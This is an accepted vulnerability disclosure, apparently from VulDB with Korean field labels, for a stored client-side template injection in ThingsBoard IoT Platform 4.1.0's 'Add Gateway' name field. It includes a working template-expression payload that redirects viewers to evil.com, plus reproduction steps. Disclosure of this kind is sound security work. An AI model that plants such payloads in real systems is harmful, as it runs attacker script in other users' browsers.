| 제목 | ThingsBoard ThingsBoard IoT Platform 4.1.0 Stored Client-Side Template Injection (CSTI) |
|---|
| 설명 | A client-side template injection vulnerability exists in the ThingsBoard IoT platform. By creating a new Gateway with a crafted name containing a template expression, an attacker can inject and execute arbitrary JavaScript in the browser of any user who views the affected gateway.
Payload Used:
{{constructor.constructor('location.href="https://evil.com"')()}}
Steps to Reproduce:
Log in to the ThingsBoard web UI.
Navigate to "Gateways" and click "Add Gateway".
Set the gateway name to: {{constructor.constructor('location.href="https://evil.com"')()}}
Save the gateway.
When a user opens the gateway page or list, the payload is executed, causing a redirect to https://evil.com. |
|---|
| 원천 | ⚠️ https://drive.google.com/file/d/1cZy-rfQXsF58kJIVs4UXj7usXJuhjZjA/view |
|---|
| 사용자 | xhalyl (UID 73655) |
|---|
| 제출 | 2025. 07. 31. PM 03:21 (1 년도 ago) |
|---|
| 모더레이션 | 2025. 08. 17. PM 02:44 (17 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 320416 [ThingsBoard 4.1 Add Gateway] |
|---|
| 포인트들 | 20 |
|---|